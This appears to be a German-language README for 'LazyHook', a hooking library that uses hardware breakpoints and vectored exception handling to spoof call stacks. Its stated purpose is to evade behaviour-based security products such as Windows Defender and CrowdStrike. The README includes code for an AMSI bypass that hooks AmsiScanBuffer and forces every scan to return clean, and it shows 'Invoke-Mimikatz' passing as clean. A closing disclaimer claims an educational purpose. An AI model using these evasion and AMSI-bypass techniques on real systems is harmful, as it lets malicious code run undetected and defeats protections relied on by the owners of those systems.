hwbp/lazyhookUmgehen Sie die Verhaltensanalyse, indem Sie bösartigen Code in vertrauenswürdigen Microsoft-Aufrufstapeln ausführen, Patchless Hooking Bibliothek IAT/EAT.
LazyHook ist ein heimliches API-Hooking-Framework, das Host Intrusion Prevention Systems (HIPS) durch Call-Stack-Spoofing umgeht. Durch die Nutzung von CPU-Level-Hardware-Breakpoints und Vectored Exception Handling wird beliebiger Code so ausgeführt, als stamme er von vertrauenswürdigen, Microsoft-signierten Modulen – und täuscht damit Verhaltensanalyse-Engines, die auf Call-Stack-Inspektion und Modulherkunftsprüfung angewiesen sind, vollständig.
Umgehen Sie Verhaltensanalysen, indem Sie schädlichen Code innerhalb vertrauenswürdiger Microsoft-Call-Stacks ausführen
Nutzt Hardware-Breakpoints + VEH, um legitime Funktionen zu kapern und Modulherkünfte zu fälschen
Host Intrusion Prevention Systems (HIPS) und Verhaltensanalyse-Engines überwachen Anwendungen durch:
Systeme wie Kaspersky System Watcher, Windows Defender, Cylance und CrowdStrike verwenden alle Variationen dieser Techniken.
Durch das Kapern einer Funktion in einer Microsoft-signierten Assembly (z. B. System.Windows.Forms.dll, user32.dll) können wir beliebige Logik innerhalb eines Call-Stacks ausführen, der vollständig legitim erscheint.
Hinweis: Es ist möglich, einen JmpHook durchzuführen, der MsgBox hookt – und danach direkt zu Ihrem benutzerdefinierten Code springt. LazyHook macht das nicht.
Warum das funktioniert:
Die Sicherheitssoftware sieht das zweite Szenario und denkt: "MessageBoxA aus user32.dll ruft Windows-APIs auf? Das ist normales Verhalten."
┌─────────────────────────────────────────────────────────┐
│ 1. Ziel-Funktionsaufruf │
│ ↓ │
│ 2. CPU-Debug-Register werden ausgelöst (DR0-DR3) │
│ ↓ │
│ 3. EXCEPTION_SINGLE_STEP wird ausgelöst │
│ ↓ │
│ 4. VEH-Handler fängt die Ausnahme ab │
│ ↓ │
│ 5. Ausführung wird zur Hook-Funktion umgeleitet │
│ ↓ │
│ 6. CallOriginal() deaktiviert vorübergehend den BP │
│ ↓ │
│ 7. Ursprüngliche Funktion wird ausgeführt │
│ ↓ │
│ 8. Breakpoint wird wieder aktiviert │
└─────────────────────────────────────────────────────────┘
Fängt importierte Funktionen ab, indem deren Adresse in der IAT lokalisiert und ein Hardware-Breakpoint gesetzt wird. Dadurch wird der spezifische Import in Ihrem Prozess gehooked.
HookIAT("user32.dll", "MessageBoxA", HookFunction, &OriginalFunction);
Hooked global exportierte Funktionen einer DLL, indem deren Adresse über die Exporttabelle aufgelöst wird. Dies betrifft alle Aufrufe dieses Exports.
HookEAT("amsi.dll", "AmsiScanBuffer", HookFunction, &OriginalFunction);
Die enthaltene Demo zeigt drei praktische Szenarien:
Demonstriert IAT-Hooking durch Abfangen von MessageBoxA-Aufrufen und Ändern der angezeigten Nachricht:
int WINAPI HookMessageBoxA(HWND H, LPCSTR T, LPCSTR C, UINT U)
{
printf("[*] MessageBoxA wurde gehooked!\n");
return LazyHook::CallOriginal<int>(LazyHook::GetIatState(), H, "Gehooked!", ">:)", U);
}
Zeigt, wie Dateioperationen durch Protokollieren von CreateFileA-Aufrufen überwacht werden können:
HANDLE WINAPI HookCreateFileA(LPCSTR Filename, ...)
{
printf("[*] CreateFileA gehooked: %s\n", Filename);
return LazyHook::CallOriginal<HANDLE>(...);
}
Demonstriert die Umgehung von Sicherheitssoftware, indem alle AMSI-Scans gezwungen werden, saubere Ergebnisse zu liefern:
HRESULT WINAPI HookAmsiScanBuffer(...)
{
printf("[*] AmsiScanBuffer gehooked! Umgehe...\n");
HRESULT OrgResult = LazyHook::CallOriginal<HRESULT>(...);
(*Result) = AMSI_RESULT_CLEAN; // Unabhängig vom Inhalt als sauber erzwingen
return OrgResult;
}
Die Demo testet den AMSI-Bypass, indem sie "Invoke-Mimikatz" (einen bekannten bösartigen String) scannt und zeigt, dass er als sauber eingestuft wird.
DR7-Layout (vereinfacht):
- Bits 0,2,4,6: Aktivierungsflags für DR0-DR3 (lokale Aktivierung)
- Bits 16-31: Breakpoint-Bedingungen (Ausführen, Schreiben, IO, R/W)
Das Framework konfiguriert DR7 wie folgt:
Der VEH-Handler:
EXCEPTION_SINGLE_STEP istEXCEPTION_CONTINUE_EXECUTION zurück, um am Hook fortzufahrentemplate<typename Ret, typename... Args>
Ret CallOriginal(VehHookState* State, Args... args)
{
RemoveHardwareBreakpoint(State->DrIndex); // Vorübergehend deaktivieren
Ret Result = ((FuncType)State->OriginalFunction)(args...);
SetHardwareBreakpoint(State->OriginalFunction, State->DrIndex); // Wieder aktivieren
return Result;
}
Die Demo zeigt das Hooking von AmsiScanBuffer, um saubere Scanergebnisse zu erzwingen:
HRESULT WINAPI HookAmsiScanBuffer(...)
{
HRESULT Result = LazyHook::CallOriginal<HRESULT>(...);
(*Result) = AMSI_RESULT_CLEAN; // Sauberes Ergebnis erzwingen
return Result;
}
Dies demonstriert, wie das Verhalten von Sicherheitssoftware zur Laufzeit durch Abfangen kritischer API-Aufrufe geändert werden kann.
Hooked CreateFileA, um Dateizugriffe zu protokollieren, ohne das Anwendungsverhalten zu ändern:
HANDLE WINAPI HookCreateFileA(LPCSTR Filename, ...)
{
printf("Auf Datei zugegriffen: %s\n", Filename);
return LazyHook::CallOriginal<HANDLE>(...);
}
Dieser Code demonstriert fortgeschrittene Umgehungstechniken für:
⚠️ Warnung: Die unbefugte Nutzung zur Umgehung von Sicherheitskontrollen, Änderung des Softwareverhaltens oder Umgehung von Schutzmaßnahmen kann gegen Computerbetrugsgesetze (CFAA, DSGVO, gleichwertige Gesetzgebung) verstoßen. Dieses Framework wird ausschließlich für Bildungszwecke und autorisierte Sicherheitsforschung bereitgestellt.
Das Verständnis offensiver Techniken führt zu besseren Abwehrmechanismen.